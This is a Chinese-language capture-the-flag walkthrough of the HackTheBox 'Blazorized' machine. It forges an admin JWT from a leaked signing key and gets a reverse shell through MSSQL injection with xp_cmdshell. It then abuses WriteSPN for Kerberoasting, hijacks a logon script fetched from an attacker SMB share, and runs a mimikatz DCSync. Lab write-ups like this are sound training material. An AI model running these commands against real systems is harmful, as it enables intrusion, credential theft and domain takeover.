总体思路
Blazor JWT->SPN劫持->登录脚本劫持->DCSync
信息收集&端口利用
nmap -sSVC blazorized.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-01 02:37 EDT
Nmap scan report for blazorized.htb (10.10.11.22)
Host is up (0.30s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mozhar's Digital Garden
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-01 06:38:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1115.00; RC0+
|_ssl-date: 2024-07-01T06:39:13+00:00; 0s from scanner time.
| ms-sql-info:
| 10.129.81.176\BLAZORIZED:
| Instance name: BLAZORIZED
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1115.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
| TCP port: 1433
|_ Clustered: false
| ms-sql-ntlm-info:
| 10.129.81.176\BLAZORIZED:
| Target_Name: BLAZORIZED
| NetBIOS_Domain_Name: BLAZORIZED
| NetBIOS_Computer_Name: DC1
| DNS_Domain_Name: blazorized.htb
| DNS_Computer_Name: DC1.blazorized.htb
| DNS_Tree_Name: blazorized.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-01T00:37:32
|_Not valid after: 2054-07-01T00:37:32
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-07-01T06:39:03
|_ start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.33 seconds
看到445端口开放,先看是否存在匿名访问
不存在匿名访问,那么查看主页信息
发现该网站是以blazor框架为基础搭建的
点击check for updates模块,有一个按钮,但是点击后提示运行失败
继续尝试目录扫描和子域名收集
dirsearch -u http://blazorized.htb
ffuf -c -u 'http://blazorized.htb' -H 'host: FUZZ.blazorized.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301,302 -mc all
发现一个admin子域名,将其加入hosts文件后访问,还有一个api接口,稍微留意一下
进入后发现需要凭证才能够登录
Blazor JWT(暂时不清楚原理)
其他也没有什么可以利用的地方了,那么就来研究blazor框架,在github上查阅相关内容后,发现存在几个特定功能的端点
/_framework/blazor.webassembly.js
/_framework/wasm/
该_framework目录是Blazor应用程序用来存储Blazor WebAssembly运行时所需的框架文件的特殊目录,这里查看js源码
发现有一个_framework目录,正好对应上之前提到过的特殊目录,查看其代码
看上去已经被混淆了,对其进行反混淆
将代码提取出来,搜索_framework,能够发现一个隐藏的接口
访问blazorized.htb/_framework/blazor.boot.json后能看到更多的配置文件
除去默认的Microsoft dll文件外,还有新增的几个blazor dll文件
"Blazored.LocalStorage.dll": "sha256-5V8ovY1srbIIz7lzzMhLd3nNJ9LJ6bHoBOnLJahv8Go="
#允许我们在本地存储中存储和检索数据
"Blazorized.DigitalGarden.dll": "sha256-YH2BGBuuUllYRVTLRSM+TxZtmhmNitErmBqq1Xb1fdI="
#Blazor应用程序专用的自定义程序集。包含与“DigitalGarden”特性或功能相关的代码
"Blazorized.Shared.dll": "sha256-Bz\/iaIKjbUZ4pzYB1LxrExKonhSlVdPH63LsehtJDqY="
#包含Blazor应用程序不同部分使用的共享代码和资源。包括通用模型、服务或实用功能
"Blazorized.Helpers.dll": "sha256-ekLzpGbbVEn95uwSU2BGWpjosCK\/fqqQRjGFUW0jAQQ="
#包含整个Blazor应用程序使用的辅助函数或实用程序的自定义程序集
然后分析代码并生成一段安全密钥
private static readonly string jwtSymmetricSecurityKey = "8697800004ee25fc33436978ab6e2ed6ee1a97da699a53a53d96cc4d08519e185d14727ca18728bf1efcde454eea6f65b8d466a4fb6550d5c795d9d9176ea6cf021ef9fa21ffc25ac40ed80f4a4473fc1ed10e69eaf957cfc4c67057e547fadfca95697242a2ffb21461e7f554caa4ab7db07d2d897e7dfbe2c0abbaf27f215c0ac51742c7fd58c3cbb89e55ebb4d96c8ab4234f2328e43e095c0f55f79704c49f07d5890236fe6b4fb50dcd770e0936a183d36e4d544dd4e9a40f5ccf6d471bc7f2e53376893ee7c699f48ef392b382839a845394b6b93a5179d33db24a2963f4ab0722c9bb15d361a34350a002de648f13ad8620750495bff687aa6e2f298429d6c12371be19b0daa77d40214cd6598f595712a952c20eddaae76a28d89fb15fa7c677d336e44e9642634f32a0127a5bee80838f435f163ee9b61a67e9fb2f178a0c7c96f160687e7626497115777b80b7b8133cef9a661892c1682ea2f67dd8f8993c87c8c9c32e093d2ade80464097e6e2d8cf1ff32bdbcd3dfd24ec4134fef2c544c75d5830285f55a34a525c7fad4b4fe8d2f11af289a1003a7034070c487a18602421988b74cc40eed4ee3d4c1bb747ae922c0b49fa770ff510726a4ea3ed5f8bf0b8f5e1684fb1bccb6494ea6cc2d73267f6517d2090af74ceded8c1cd32f3617f0da00bf1959d248e48912b26c3f574a1912ef1fcc2e77a28b53d0a";
private static readonly string superAdminEmailClaimValue = "superadmin@blazorized.htb";
private static readonly string postsPermissionsClaimValue = "Posts_Get_All";
private static readonly string categoriesPermissionsClaimValue = "Categories_Get_All";
private static readonly string superAdminRoleClaimValue = "Super_Admin";
private static readonly string issuer = "http://api.blazorized.htb";
private static readonly string apiAudience = "http://api.blazorized.htb";
private static readonly string adminDashboardAudience = "http://admin.blazorized.htb";
利用上边的信息,以超级管理员身份生成一个JWT
将这一段JWT的内容通过web console添加到本地存储以访问admin界面
let token = 'eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIwMDAwMDAwfQ.J-Q8X2azv90n1dIxwupMj53IvCGxbcBcVk8Lzl5EqPD-JKjXtyHOJHCZujLOGrHQtI6NJyoaWAogwXDkmWuMuQ';
localStorage.setItem('jwt', token);
再次刷新界面即可
在搜索框界面发现了一些有趣的事情
当正常输入时,会有显示报错信息,而加了某些特殊符号时候,则没有了输出,可能存在某些SQL注入
由于之前就扫描出数据库类型为MSSQL,这里直接尝试使用xp_cmdshell执行反弹shell命令
'; EXEC master.dbo.xp_cmdshell 'powershell -e PowerShell#3(Base64)' --+#
成功拿到nu_1055用户,为了更方便进行后续操作,先上传一个payload,转为msf shell
经过信息收集无果后,上传一个sharphound查看域内信息
SPN劫持
在拓扑图中,能看到RSA_4810用户对NU_1055用户具有WriteSPN权限,可以利用Ghost SPN劫持对其进行攻击
上传PowerView.ps1
接着运行以下代码
Set-DomainObject -Identity RSA_4810 -SET @{serviceprincipalname='b3rry/ghost'}
Get-DomainSPNTicket -SPN b3rry/ghost
它以不存在的SPN作为虚拟名称请求服务票证b3rry/ghost
将这一段密文放进hashcat进行解密
获取到解密之后的字符串:(Ni7856Do985*************
经过尝试,可以使用 RSA_4810/(Ni7856Do985************ 登录到主机
继续分析刚才的文件
可以看到RSA_4810用户属于REMOTE MANAGEMENT USERS和REMOTE_SUPPORT_ADMINISTRATORS组
这里使用powerview获取更多信息
Get-NetUser
运行了上述命令后,发现一个可疑账户SSA_6010
登录脚本劫持
登录次数达到了4684次,并且我们能够获取到该用户正在运行的登录脚本路径为:\dc1\NETLOGON\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030
此路径表示域控制器 (dc1) 上的NETLOGON 共享中存储了登录脚本,它通常用于存储用户登录域内计算机时需要执行的登录脚本和其他策略
查看当前用户是否具有对上述结果中提到的文件具有某些特定权限
Get-Acl "C:\windows\sysvol\domain\scripts\A2BFDCF13BB2\B00AC3C11C0E\BAEDDDCD2BCB\C0B3ACE33AEF\2C0A3DFE2030.bat" | Format-List -Property *
很好,RSA_4810用户具有对该脚本的读取、写入和运行权限
并且该脚本也提示了需要我们对SSA_6010的登录脚本进行重新编写
将脚本路径更改为A32FF3AEAA23\revshell.bat
Set-ADUser -Identity SSA_6010 -ScriptPath "A32FF3AEAA23\revshell.bat"
由于此处是多域环境,因此必须使用相对路径保证所有域控服务器都能够寻找到该脚本,意味着只能指定从NETLOGON共享路径后开始的路径作为相对路径
此处设置该文件夹的原因是只有该文件夹RSA_4810具有写入读取修改权限
做好上述准备后,建立一个revshell.ps1用于存放反弹shell的代码
#revshell.ps1
powershell -e PowerShell#3(Base64)
通过PowerShell创建批处理文件时,默认编码与登录过程中脚本的执行方式不兼容,需要将编码指定为ASCII可确保正确解释批处理文件,这里再编写一段脚本
#getshell.ps1
$batContent = Get-Content -Path "\\10.10.14.9\share\revshell.ps1"
$batFilePath = "C:\windows\SYSVOL\sysvol\blazorized.htb\scripts\A32FF3AEAA23\revshell.bat"
$batContent | Out-File -FilePath $batFilePath -Encoding ASCII
这一段代码主要将本地的ps1文件通过指定编码后,导入到revshell.bat中
本地开启smb和nc监听,上传后等待脚本运行
拿到SSA_6010用户后,使用msf shell再进行一次sharphound扫描
DCSync
打开分析后的文件,发现SSA_6010用户属于SUPER_SUPPORT_ADMINISTRATORS组
发现SUPER_SUPPORT_ADMINISTRATORS组对机器具有DCSync权限
直接使用mimikatz中的模块获取所有信息
lsadump::dcsync /domain:blazorized.htb /user:Administrator
使用administrator的ntlm hash登录